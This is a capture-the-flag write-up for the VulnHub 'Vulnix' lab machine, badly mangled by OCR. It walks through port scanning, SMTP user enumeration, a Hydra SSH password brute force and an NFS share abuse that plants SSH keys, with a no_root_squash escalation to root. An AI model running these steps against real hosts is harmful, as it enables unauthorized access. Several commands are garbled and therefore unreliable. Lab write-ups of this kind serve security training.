sudoedit /etc/exports
y
share / with no_root_squash, restart target
v
copy id_rsa.pub - /root/.ssh/authorized_keys
B Yo .
/root/.ssh/authorized_keys

r Yo .
ssh root@192.168.92.177

y
/root/trophy.txt

Figure 2: writeup.overview killchain


https://www.vulnhub.com/entry/hacklab-vulnix,48/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_nfs_rw&unscoped_q=exploit_nfs_rw
https://github.com/7h3rAm/writeups/search?q=exploit_ssh_authorizedkeys&unscoped_q=exploit_ssh_authorizedkeys
https://github.com/7h3rAm/writeups/search?q=privesc_nfs_norootsquash&unscoped_q=privesc_nfs_norootsquash
https://github.com/7h3rAm/writeups/search?q=privesc_ssh_authorizedkeys&unscoped_q=privesc_ssh_authorizedkeys
https://www.vulnhub.com/entry/hacklab-vulnix,48/
https://github.com/7h3rAm/machinescli

TTPs

1. 22/tcp/ssh/0penSSH 5.9p1 Debian 5ubuntul (Ubuntu Linux; protocol 2.0): exploit ssh authorizedkeys,
privesc_ssh_authorizedkeys
2. 2049/tcp/nfs_acl/2-3 (RPC #100227): exploit_ nfs rw, privesc_ nfs_ norootsquash


https://github.com/7h3rAm/writeups#exploit_ssh_authorizedkeys
https://github.com/7h3rAm/writeups#privesc_ssh_authorizedkeys
https://github.com/7h3rAm/writeups#exploit_nfs_rw
https://github.com/7h3rAm/writeups#privesc_nfs_norootsquash
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Thu Sep 19 17:29:26 2019 as: mmap —vv —--reason —Pn -sV -sC

o —-wversion-all -olN

o /root/toolboz/writeups/vulnhub.vulniz/results/192.168.92.177/scans/_quick_tcp_nmap.txt -oX
o /root/toolboz/writeups/vulnhub.vulniz/results/192.168.92.177/scans/zml/_quick_tcp_nmap.zml
o 192.168.92.177

Nmap scan report for 192.168.92.177

Host is up, received arp-response (0.00090s latency).

Scanned at 2019-09-19 17:29:27 PDT for 17s

Not shown: 988 closed ports

Reason: 988 resets

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 5.9p1 Debian 5Subuntul (Ubuntu Linux; protocol
s 2.0)

| ssh-hostkey:

| 1024 10:cd:9e:al0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)

| ssh-dss

< AAAAB3NzaC1lkc3MAAACBAJJHCFDFkbuQTVpmQvCvdR2poQrsZ0QOnBEsUij15T9DA1UhxI41G8hQ97MMO0e0eGdPTHsA8vkZnglain
< +XnDVRziI3dEqSxpCi4obxxYdKtqGBIj83d0Ppxm0O9xDhVYBdh7Z1Zh8xttD+ACFqmN4VZ jmvOI1SYZFAAAAFQC6Z+
<  J+KbT59gBXSPQTpAJThOFE2wAAATEAgYwAS0FVMQAK{RwAXbLoADx3t735BpLIoVNX2j4UrAF8CmwLCmcsNAhdpUP+
< hMhKGXnP5co2nira30kcwWRu219bjte7m119J0vCIUASTUZ0COCU JkmOw040/ |

< gyJ0elKRR37r0qnBImiEuml.6dSpcgdb0IfozCISUIGh/ |

< yiEud4kAAACASWk2tKCyCHamiXwItOXdwTXubZYtRtHO9LHdisSEsoinz+

- 2szuzbqnwgancHXcy(3PapixZhVNASZ8MobmkFDXh4SDS52z1+RW7K40FBh3z+

< HCASAJJjkRFXWEuadjxpO02QWBYEJiER4AtFWUS12kVMFdsWqYaK7BxStNNkmGBII=

| 2048 bc:£9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)

| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQC1jCDgzdowLQVOEXrczN+xbuMcNkncz2EfCEncP7k8rhNjQq+

~ eXzMKEfULxMLh/wLFhX2TVZDECTpQOWVJckgkGeZSdvmEJKt5LbZ1Sm5HAZ/ |

< DMUKIuohDRI4F31qn9ubVAVKSyTXyR3EuxCsCHJy+Xf40BJImr+fZ7yH3xwPPqJ9in+

< LfgTXaRItqLDHiHASTIXXwsDgweaSOhSTARIMO+TdZCnXKPJINEt38+

< F17rnTnBE2TdtU3iyrlWXEOGGGgObgldqas7bRAUH/uRZZ0ZK2+UT£0qg30H7118Shf ZIbdW+

< B9REQQqYz8tZYsoWoxahWf3dmx5soCWWcAP7DAV

| 256 4d:bb:4a:c1:18:e8:da:d1:82:6£:58:52:9c:ee:34:5f (ECDSA)

| __ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbm1zdHAyNTYAAABBBGEudclshibeHM/ |

< DPWQGR31d0GqdLcXVj1xLG/YSGEiNmN1pT6xOMwYQyN6pzCzzonl jThH8IwIZjid+IN2PzxE=
25/tcp open smtp syn-ack ttl 64 Postfix smtpd

| _smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES,
-~ 8BITMIME, DSN,

ssl-cert: Subject: commonName=vulnix

Issuer: commonName=vulnix

Public Key type: rsa

Public Key bits: 2048

Signature Algorithm: shalWithRSAEncryption

Not valid before: 2012-09-02T17:40:12

Not valid after: 2022-08-31T17:40:12

MD5: 58e3 flac fef6 b6dl 744c 836f ba24 4f0a

SHA-1: 712f 69ba 8cb54 32eb5 71lc 898b 55ab 0a83 44a0 420b

MIICnjCCAYYCCQCrWhznjAI2hTANBgkqhkiGOwOBAQUFADARMQ8wDQYDVQQDEWZ2
dWxuaXgwHhcNMTIwOTAyMTcOMDEyWhcNMj IwODMxMTcOMDEyYWjARMQ8wDQYDVQQD
EwZ2dWxuaXgwggEiMAOGCSqGSIb3DOEBAQUAA4IBDwAwggEKA0IBAQDDbiWM7 /Xk
7+VnQuSzKIy6GgD9xAw5 jCnKmRY6ME JOjNmpI jo7O0LEpoTTEZvFLwKbdkxQHZusv
50G0rZLm6MkrB2Ad8skvk JROPAOSKoM+Uha5P35rdFOMaNPtHRpASW3Q13gAoph7
8hGmdI4GrLmedxkma jniCYNpowArI7UjYASFWF6q1m41CS+xCqk9udqH8SrV616z
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11
| _
|

<

<

| _
11
|
|

bJ2HOOmhpONJDJbTDX35biGeGKR70e5xQAkMwQKMEs9iLBo2nrH2JKyxf VMeMgQf
KoRJEeILZbgP4X9Xc6iA9GuNSqluObOhCv1RsFLP915xNvnf6aZf8Ety0DISzXhj
GBsy//uolXMLAgMBAAEWDQYJKoZIhvcNAQEFBQADggEBAI JHgnARP3nuoFigE9vE
CyK9sKYPn+nhOx0OMFil2LzfcZsVRqQT10T/VbOugli+pettkcPqWBBNs1Q5uSEIuP
OpEq9AQdeLk7weMaOtrDK+XoSbEvcAvYPnbK6Ghr343FE74nmxewtfCbrNfEnYZB
TY1EE1BqcQFS04kB6UyMO0GwuI J7EHITPa7ZxKW60BOV0zCUiYm3hGn7dpyVeaH/
zpSwobV1pSqyW7+Tb3K0821gSnmYvRzk3TmIVXutOXTVE+L58xbo5uafae2UvP4m
m5Bel1rZi17UblkIMKT+0JLq20aDb6Y8Ni/a267RoG0/TcwCLjKHsD15Niwk6rYMX
ZtY=

ssl-date: 2019-09-20T00:29:52+00:00; +8s from scanner time.

/tcp open finger syn-ack ttl 64 Linux fingerd

finger: No one logged on.\x0D

0/tcp open pop3 syn-ack ttl 64 Dovecot pop3d
pop3-capabilities: RESP-CODES SASL CAPA TOP UIDL PIPELINING STLS

ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail

server/organizationalUnitName=vulnix/emailAddress=root@vulnix
Issuer: commonName=vulnix/organizationName=Dovecot mail
server/organizationalUnitName=vulnix/emailAddress=root@vulnix
Public Key type: rsa
Public Key bits: 2048
Signature Algorithm: shalWithRSAEncryption
Not valid before: 2012-09-02T17:40:22
Not valid after: 2022-09-02T17:40:22
MD5: 2b3f 3e28 c85d elOc 7b7a 2435 cbe7 84fc
SHA-1: 4a49 a407 01f1 37c8 8la3 4519 981b leee 6856 348e

MIIDizCCAnOgAwIBAgIJAKvS691t83I+MAOGCSqGSIb3DQEBBQUAMFwxHDAaBgNV
BAoMEORvdmV jb3QgbWFpbCBzZXJ2ZXIxDzANBgNVBAsMBnZ1bG5peDEPMAOGA1UE
AwwGdnVsbml14MRowGAYJKoZIhvcNAQkBFgtyb290QHZ1bG5peDAeFw0OxMjASMDIx
NzQwMjJaFwOyMjASMDIxNzQwMjJaMFwxHDAaBgNVBAoMEORvAmV jb3QgbWFpbCBz
ZXJ2ZXIxDzANBgNVBAsMBnZ1bG5peDEPMAOGA1UEAwwGdnVsbm14MRowGAY JKoZI
hvcNAQkBFgtyb290QHZ1bG5peDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALv7qqgwWV56bHtf/OPgD6yMN1bv866H5gqrVENXrfal.8Z0iNCD9/Fg6 jOuh
VLV5iw5y81KNAMZW5PWHNSmQEeoyWWFXMV1X4RLvOuTIf1sXNHp+IcwZpDDobHzQ
ENhpwhlWTxdObUEVVT/Ch0TaAQIpi9AFzo4f jJAUEHfEae98cssmugQP9Unj9xKv
vCj18113gI9VAN92K jxWeWMa8e+ecwBVtAsPAU3ZwmwVIuVnBDa9nRdkROy31RWSr
/Lil4ckLOTZ4K92z146pTex7QSNKGHyuLPJGddm5pul1WP5cJEz902MD0o6WEISh
V7EEpfbvrA6cd+ISf4dGSyNZfp8CAWEAAaNQME4wHQYDVROOBBYEFACMAN/xHviz
b3W/Qea+BvYb307AMB8GA1UdIwQYMBaAFACM4N/xHvizb3W/Qea+BvYb307AMAWG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAEP1Kk3MagUfM6kOLgK++4gV
LJz0C10GQ/ERyNRhk8JgVbhuasrC7hNtzk2ku7yP4H8I1Vzjs4EGQOxoGKHnrzBr
76191QRASZbJPwemc1CpRbh7XTZAOPHUbihycpG4iQZD2/55c6Az+TcyHLqjPbCW
YVCAB8mMXDtYEB40i0Evbulud5f jXAu7ba8tzUSqAWF7dA9S/vecmmnCC+y1nVITc
8K1+edk6WTOjoQEALUASikfB8I8095AWPkEcj77B0iPOVP1EG1aWm85DMRkVOatg
mgDiJCaX/SajIW22LgEw81ErtM8m6RAZ1gN+sf906T7+Mxvbd6aPx/bxj/LwQ6c=

ssl-date: 2019-09-20T00:29:52+00:00; +9s from scanner time.
1/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
rpcinfo:

program version port/proto service

100000 2,3,4 111/tcp rpcbind
100000 2,3,4 111/udp rpcbind
100003 2,3,4 2049/tcp nfs
100003 2,3,4 2049/udp nfs
100005 1,2,3 50680/tcp mountd



ss | 100005 1,2,3 51785/udp mountd

so | 100021 1,3,4 35231/udp nlockmgr

9 | 100021 1,3,4 57819/tcp nlockmgr

o1 | 100024 1 51959/udp status

o2 | 100024 1 59222/tcp status

o3 | 100227 2,3 2049/tcp nfs_acl

oa |_ 100227 2,3 2049/udp nfs_acl

95 143/tcp open imap syn-ack ttl 64 Dovecot imapd

96 | _imap-capabilities: IMAP4revl more have Pre-login IDLE post-login LITERAL+ ENABLE SASL-IR
~ capabilities listed OK LOGINDISABLEDAOOO1 STARTTLS ID LOGIN-REFERRALS

or | ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail
- server/organizationalUnitName=vulnix/emailAddress=root@vulnix
9s | Issuer: commonName=vulnix/organizationName=Dovecot mail

< server/organizationalUnitName=vulnix/emailAddress=root@vulnix
Public Key type: rsa

Public Key bits: 2048

Signature Algorithm: shalWithRSAEncryption

Not valid before: 2012-09-02T17:40:22

Not valid after: 2022-09-02T17:40:22

MD5: 2b3f 3e28 c85d elOc 7bT7a 2435 cbe7 84fc

SHA-1: 4a49 a407 01f1 37c8 8la3 4519 981b leee 6856 348e

99

100

101

102

103

MIIDizCCAnOgAwIBAgIJAKvS691t83I+MAOGCSqGSIb3DQEBBQUAMFwxHDAaBgNV
BAoMEORvdmV jb3QgbWFpbCBzZXJ2ZXIxDzANBgNVBAsMBnZ1bG5peDEPMAOGA1UE
AwwGdnVsbm14MRowGAYJKoZIhvcNAQkBFgtyb290QHZ1bG5peDAeFw0OxMjASMDIx
NzQwMjJaFwOyMjASMDIxNzQwMjJaMFwxHDAaBgNVBAoMEORvAmV jb3QgbWFpbCBz
ZXJ2ZXIxDzANBgNVBAsMBnZ1bG5peDEPMAOGA1UEAwwGdnVsbml4MRowGAYJKoZI
hvcNAQkBFgtyb290QHZ1bG5peDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALv7qqguwWV56bHtf/OPgD6yMN1bv866H5gqrVENXrfal.8Z0iNCD9/Fg6 jOuh
VLV5iw5y81KNAMZWSPWHNSmQEeoyWWFXMV1X4RLvOuTIf 1sXNHp+IcwZpDDobHzQ
ENhpwh1WTxdObUEVVT/Ch0TaAQIpi9AFzo4f jJAUEHfEae98cssmugQP9Unj9xKv
vCj18113g9VAQ92K jxWeWMa8e+ecwBVtAsPAU3ZwmwVIuVnBDa9nRdAkROy31RWST
/Lil4ckLOTZ4K92z146pTex7QSNKGHyuLPJGddm5pul1WP5cJEz902MDOo6WEISh
V7EEpfbvrA6cd+ISf4dGSyNZfp8CAWEAAaNQME4wHQYDVROOBBYEFACMAN/xHviz
b3W/Qea+BvYb307AMB8GA1UAIwQYMBaAFACMAN/xHvizb3W/Qea+BvYb307AMAWG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAEP1Kk3MagUfM6kOLgK++4gV
LJz0C10GQ/ERyNRhk8JgVbhuasrC7hNtzk2ku7yP4H8I1Vz]js4EGQOxoGKHnrzBr
761q1QRASZbJPwemc1CpRbh7XTZAOPHUbihycpG41iQZD2/55c6Az+TcyHLgjPbCW
YVCABS8mMXDtYEB40i0Evbulud5f jXAu7ba8tzUSqAWF7dA9S/vcmmnCC+y1nVITc
8K1+edk6WTOjoQEALUASikfB8I8095AWPkEcj77B0iPOVP1EG1aWm85DMRkVOatg
mgDiJCaX/SajIW22LgEw81ErtM8m6RAZ1gN+sf906T7+Mxvbd6aPx/bxj/LwQ6c=

-
-
[N

126 I END CERTIFICATE-----
127 | _ssl-date: 2019-09-20T00:29:52+00:00; +9s from scanner time.
128 512/tcp open exec syn-ack ttl 64 netkit-rsh rexecd

120 513/tcp open login syn-ack ttl 64 OpenBSD or Solaris rlogind

130 b5l4/tcp open shell syn-ack ttl 64 Netkit rshd

131 993/tcp open ssl/imap syn-ack ttl 64 Dovecot imapd

132 |_imap-capabilities: IMAP4revl more Pre-login IDLE have LITERAL+ ENABLE SASL-IR capabilities
< post-login OK listed AUTH=PLAINAOOO1 ID LOGIN-REFERRALS

133 | ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail
< server/organizationalUnitName=vulnix/emailAddress=root@vulnix
13¢ | Issuer: commonName=vulnix/organizationName=Dovecot mail

- server/organizationalUnitName=vulnix/emailAddress=root@vulnix
135 | Public Key type: rsa
136 | Public Key bits: 2048
137 | Signature Algorithm: shalWithRSAEncryption



Not valid before: 2012-09-02T17:40:22

Not valid after: 2022-09-02T17:40:22

MD5: 2b3f 3e28 c85d elOc 7b7a 2435 cbe7 84fc

SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b leee 6856 348e

[
N
o

MIIDizCCAnOgAwIBAgIJAKvS691t83I+MAOGCSqGSIb3DQEBBQUAMFwxHDAaBgNV
BAoMEORvdmV jb3QgbWFpbCBzZXJ2ZXIxDzANBgNVBAsMBnZ1bG5peDEPMAOGA1UE
AwwGdnVsbml14MRowGAYJKoZIhvcNAQkBFgtyb290QHZ1bG5peDAeFw0OxMjASMDIx
NzQwMjJaFwOyMjASMDIxNzQwMjJaMFwxHDAaBgNVBAoMEORvAmV jb3QgbWFpbCBz
ZXJ2ZXIxDzANBgNVBAsMBnZ1bG5peDEPMAOGA1UEAwwGdnVsbm14MRowGAY JKoZI
hvcNAQkBFgtyb290QHZ1bG5peDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALv7qqgwWV56bHtf/OPgD6yMN1bv866H5gqrVENXrfal.8Z0iNCD9/Fg6 jOuh
VLV5iw5y81KNAMZW5PWHNSmQEeoyWWFXMV1X4RLvOuTIf1sXNHp+IcwZpDDobHzQ
ENhpwhlWTxdObUEVVT/Ch0TaAQIpi9AFzo4f jJAUEHfEae98cssmugQP9Unj9xKv
vCj18113g9VAQ92K jxWeWMaBe+ecwBVtAsPdU3ZwmwVIuVnBDa9nRdkROy31RWSr
/Li14ckL0TZ4K92z146pTex7QSNKGHyuLPJGddm5pul1WP5cJEz902MD006WEISD
V7EEpfbvrA6cd+ISf4dGSyNZfp8CAWEAAaNQME4wHQYDVROOBBYEFACMAN/xHviz
b3W/Qea+BvYb307AMBS8GA1UdIwQYMBaAFACMAN/xHvizb3W/Qea+BvYb307AMAWG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAEP1Kk3MagUfM6kOLgK++4gV
LJz0C10GQ/ERyNRhk8JgVbhuasrC7hNtzk2ku7yP4H8I1Vzjs4EGQO0xoGKHnrzBr
76191QRASZbJPwemc1CpRbh7XTZAOPHUbihycpG4iQZD2/55c6Az+TcyHLqjPbCW
YVCABS8mMXDtYEB40i0Evbulud5f jXAu7ba8tzUSqAWF7dA9S/vemmnCC+y1nVITc
8K1+edk6WT0joQEALUASikfB8I8095AWPk cj77B0iPOVP1EG1aWm85DMRkVOatg
mgDiJCaX/SajIW22LgEw81ErtM8m6RAZ1gN+sf906T7+Mxvbd6aPx/bxj/LwQ6c=

o
o
N

163 I:ssl—date: 2019-09-20T00:29:51+00:00; +8s from scanner time.
164 995/tcp open ssl/pop3 syn-ack ttl 64 Dovecot pop3d
165 | _pop3-capabilities: RESP-CODES SASL(PLAIN) CAPA TOP UIDL USER PIPELINING

166 | ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail
< server/organizationalUnitName=vulnix/emailAddress=root@vulnix
167 | Issuer: commonName=vulnix/organizationName=Dovecot mail

- server/organizationalUnitName=vulnix/emailAddress=root@vulnix
Public Key type: rsa

Public Key bits: 2048

Signature Algorithm: shalWithRSAEncryption

Not valid before: 2012-09-02T17:40:22

Not valid after: 2022-09-02T17:40:22

MD5: 2b3f 3e28 c85d elOc 7b7a 2435 cbe7 84fc

SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b leee 6856 348e

-
J
iy

MIIDizCCAnOgAwIBAgIJAKvS691t83I+MAOGCSqGSIb3DAEBBQUAMFwxHDAaBgNV
BAoMEORvdmVjb3QgbWFpbCBzZXJ2ZXIxDzANBgNVBAsMBnZ1bG5peDEPMAOGA1UE
AwwGdnVsbm14MRowGAYJKoZThvcNAQkBFgtyb290QHZ1bG5peDAeFw0OxMjASMDIx
NzQwMjJaFwOyMjASMDIxNzQwMjJaMFwxHDAaBgNVBAoMEORvdAmV jb3QgbWFpbCBz
2XJ2ZXIxDzANBgNVBAsMBnZ1bG5peDEPMAOGA1UEAwwGdnVsbm14MRowGAY JKoZI
hvcNAQkBFgtyb290Q0HZ1bG5peDCCASIWDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALv7qqgwWV56bHtf/0PqD6yMN1bv866H5gqr VENXrfal.8Z0iNCD9/FgéjOuh
VLV5iw5y81KNAMZWSPWHNSmQEeoyWWFXMV1X4RLvOuTIf1sXNHp+IcwZpDDobHzQ
ENhpwh1WTxdObUEVVT/ChOTaAQIpi9AFzo4f jJ4UEHfEae98cssmuqQP9Unj9xKv
vCj18113g9VAQ92K jxWeWMa8e+ecwBVtAsPdU3ZwmwVIuVnBDa9nRdAkROy31RWSr
/Li14ckLOTZ4K922z146pTex7QSNKGHyuLPJGddm5pul 1WP5cJEZ902MDO06WEISD
V7EEpfbvrA6cd+IS£4dGSyNZfp8CAWEAAaNQME4wHQYDVROOBBYEFACM4N/xHviz
b3W/Qea+BvYb307AMB8GA1UdIwQYMBaAFACM4N/xHvizb3W/Qea+BvYb307AMAWG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAEP1Kk3MagUfM6k0LgK++4gV
LJz0C10GQ/ERyNRhk8JgVbhuasrC7hNtzk2ku7yP4H8I1Vz]js4EGQO0xoGKHnrzBr
761q1QRASZbJPwemc1CpRbh7XTZAOPHUbihycpG4iQZD2/55c6Az+TcyHLgjPbCW

189

190

191



192

194

195

196

197

198

199

200

202

203

204

205

1

10

11

12

13

14

15

| YVCABSmMXDtYEB40iOEvbulud5f jXAu7ba8tzUSqAWF7dA9S/vcmmnCC+y1nV9Tc
| 8K1+edk6WTOjoQEALUAS5ikfB8I8095AWPkS cj77B0iPOVP1EGl1aWm85DMRkV0atg
| mgDiJCaX/SajIW22LgEw81ErtM8m6RAZ1gN+sf906T7+Mxvbd6aPx/bxj/LwQ6c=

| _ssl-date: 2019-09-20T00:29:51+00:00; +8s from scanner time.

2049/tcp open nfs_acl syn-ack ttl 64 2-3 (RPC #100227)

MAC Address: 00:0C:29:87:38:08 (VMware)

Service Info: Host: wvulnix; 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| _clock-skew: mean: 8s, deviation: Os, median: 7s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/

# Nmap done at Thu Sep 19 17:29:44 2019 -- 1 IP address (1 host up) scanned in 17.41 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

4 openports

# Port Protocol Service Scans

1. 22/tcp ssh ttl 64 OpenSSH 5.9pl1 Debian Subuntul (Ubuntu Linux protocol 2.0) ./results/192.168.92.177/scans/tcp_22_ssh_nmap. txt

2. ter m tl 64 F fix smtpd /x i1lts .168.92.177 ns/tcp_2 r naf

3. t

4. 1108/tep pop3 ttl 64 Dovecot pop3d ./results/192.168.92.177/scans/tcp_110_pop3_nmap.txt
./results/192.168.92.177/scans/tcp_111_nfs_nmap.txt

S 111/tep rpchind ttl 64 2-4 (RPC #100000) ./results/192.168.92.177/scans/tcp_111_rpc_nmap.txt
./results/192.168.92.177/scans/tcp_111_showmount.txt

6. 143/tcy imap ttl 64 Dovecot imapd results/192.168.92.177/scans/tcp_143_1map_nmap.txt

7 512/tcp exec ttl 64 netkit-rsh rexecd

8. 513/tc g tt

9.

10. 993/tcp ssl/imap ttl 64 Dovecot imapd ./results/192.168.92.177/scans/tcp_993_imap_nmap.txt
./results/192. .177/scans/tcp_993_sslscan.txt

11. 995/tcp ssl/pop3 ttl 64 Dovecot pop3d ./results/192. .177/scans/tcp_995_pop3_nmap. txt
./results/192. .177/scans/tcp_995_sslscan. txt

12. t results/ 77/scans/tcy 9_nfs_nmap. tx

13. 34422/tcp mountd ttl 64 1-3 (RPC #100005)

14, 39¢ tey nountd PC #100005)

15.

16. 57819/tcp nlockmgr ttl 64 1-4 (RPC #180021)

17. 59222/tcp status ttl 64 1 (RPC #100024)

Figure 3: writeup.enumeration.steps.2.1

3. We perform SMTP user enumeration and find 2 hits:

smtp-user-enum -M VRFY -U "/usr/share/seclists/Usernames/top-usernames-shortlist.txt" -t
<~ 192.168.92.177 -p 25 2>&1
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

WEEl® cooococoococanooccooanoaa VRFY

Worker Processes ......... 5

Usernames file ........... /usr/share/seclists/Usernames/top-usernames-shortlist.txt
Target count ............. 1

Username count ........... 17

Target TCP port .......... 25

Query timeout ............ 5 secs

Target domain ............


https://github.com/Tib3rius/AutoRecon
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#H###### Scan started at Thu Sep 19 17:29:44 2019 #H###HH###H#H#
192.168.92.177: root exists

192.168.92.177: user exists

####A#### Scan completed at Thu Sep 19 17:29:46 2019 #########
2 results.

17 queries in 2 seconds (8.5 queries / sec)

4. We also manually verified presence of user vulnix and user:

smtp-user-enum -M VRFY -u vulnix -t 192.168.92.177 -p 25 2>&1
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

MEE® cocoococoooacnoooooos VRFY
Worker Processes ......... 5
Target count ............. 1
Username count ........... 1
Target TCP port .......... 25
Query timeout ............ 5 secs

Target domain ............
######## Scan started at Thu Sep 19 18:21:43 2019 #H########
192.168.92.177: vulnix exists

#H###### Scan completed at Thu Sep 19 18:21:44 2019 ####H#AHHH
1 results.

1 queries in 1 seconds (1.0 queries / sec)

smtp-user-enum -M VRFY -u user -t 192.168.92.177 -p 25 2>&1
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

MBI co0coo0o00000a000000000 VRFY
Worker Processes ......... 5
Target count ............. 1
Username count ........... 1
Target TCP port .......... 25
Query timeout ............ 5 secs

Target domain ............

#H###A### Scan started at Fri Sep 20 14:08:12 2019 #########
192.168.92.177: user exists

#u###### Scan completed at Fri Sep 20 14:08:13 2019 ######A###
1 results.

1 queries in 1 seconds (1.0 queries / sec)

5. Bruteforcing the SSH password for user with rockyou.txt was successful and we can now login to the target:



hydra -1 user -P /usr/share/wordlists/rockyou.txt -e nsr ssh://192.168.92.177
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service
-~ organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-20 14:09:36

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
< reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344402 login tries (1:1/p:0),
- ~14344402 tries per task

[DATA] attacking ssh://192.168.92.177:22/

[22] [ssh] host: 192.168.92.177 login: user password: letmein

1 of 1 target successfully completed, 1 valid password found

10

11

12

13

[WARNING] Writing restore file because 9 final worker threads did not complete until end.

[ERROR] 9 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-20 14:09:45

root@kali: # hydra -1 user -P fusr/share/wordlists/rockyou.txt -e nsr ssh://192.168.92.177
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-20 14:09:36
[WARNING] Many SSH configurations 1imit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

10

11

12

13
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16

17

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344402 login tries (l:1/p:0), ~14344402 tries per task
[DATA] attacking ssh://192.168.92.177:22/
[22][ ] host: login: password:

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 9 final worker threads did not complete until end.
[ERROR] 9 targets did not resolve or could not be connected

[ERROR] 16 targets did not complete

Hydra (http://www.thc.org/thc-hydra) finished at 2019-89-20 14:09:45

root@kali: #

Figure 4: writeup.enumeration.steps.5.1

Findings

Open Ports

22/tcp ssh OpenSSH 5.9p1 Debian 5ubuntul (Ubuntu Linux; protocol 2.0)
25/tcp smtp Postfix smtpd

79/tcp finger Linux fingerd

110/tcp pop3 Dovecot pop3d

111/tcp rpcbind 2-4 (RPC #100000)

143/tcp imap Dovecot imapd

512/tcp exec netkit-rsh rexecd

513/tcp login OpenBSD or Solaris rlogind

| |
| |
| |
| |
| |
| |
| |
| |
514/tcp | shell | Netkit rshd
| |
| |
[ |
| |
| |
| |
| |
| |

993/tcp ssl/imap Dovecot imapd
995/tcp ssl/pop3 Dovecot pop3d
2049/tcp nfs_acl 2-3 (RPC #100227)
34422/tcp mountd 1-3 (RPC #100005)
39054/tcp mountd 1-3 (RPC #100005)
50680/tcp mountd 1-3 (RPC #100005)
57819/tcp nlockmgr 1-4 (RPC #100021)
59222/tcp status 1 (RPC #100024)
Users

ssh: root, user, vulnix
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Phase #2: Exploitation

1. Nothing useful is found with the user account so we move on for further enumeration. Let’s explore NF'S shares:

showmount -e 192.168.92.177
Export list for 192.168.92.177:
/home/vulnix *

2. We create a mount directory ./mnt, mount the remote NFS share with NFSv3 so that we can see the UID, create
a new user vulnix with the expected UID, change to user vulnix, create a .ssh directory, copy id_rsa.pub to
.ssh/authorized_keys and SSH into the target as user vulnix:

mkdir ./mnt/

mount 192.168.92.177:/home/vulnix ./mnt -o vers=3
1s -1

useradd -u 2008 vulnix

cp ~/.ssh/id_rsa.pub ./authorized_keys
su vulnix

cd ./mnt/

mkdir .ssh/

cp ./authorized_keys ./.ssh/

exit

ssh vulnix0192.168.92.177

root@kali: ~/toolbox/data/writeups/vulnhub.vulnix # mount 192.168.92.177:/home/vulnix ./mnt -o vers=3

root@kali: ~/toolbox/data/writeups/vulnhub.vulnix # 11

total 44K

-rw-r--r-- 1 [ 391 Sep 1

r-x--- 2 vulnix vulnix 4.0K Sep mnt

iMoot root 1.3K Sep 18:23 passwd

r-xr-x 3 gl root 4.0K Sep 17:29 results
1

17:56 authorized keys

=
[« T « I 8 T e

root| root| 25K Sep 20 14:18 writeup.yml
/toolbox/data/writeups/vulnhub.vulnix #

Figure 5: writeup.exploitation.steps.2.1
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root@kali: ~/toolbox/data/writeups/vulnhub.vulnix # su vulnix

$

$

$ cd mnt

$

$

$ 1s -la

total 24

drwxr-x--- 3 vulnix wvulnix 4096 Sep 20 14:21
drwxr-xr-x 4 root root 4096 Sep 20 14:19 ..
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash logout
-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
drwxr-xr-x 2 vulnix vulnix 4096 Sep 20 14:21 .ssh

$

$

$ cp ../authorized keys .ssh/

$ 1s -la

total 24

drwxr-x--- 3 wvulnix vulnix 4096 Sep 20 14:21
drwxr-xr-x 4 root root 4096 Sep 20 14:19 ..
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash logout
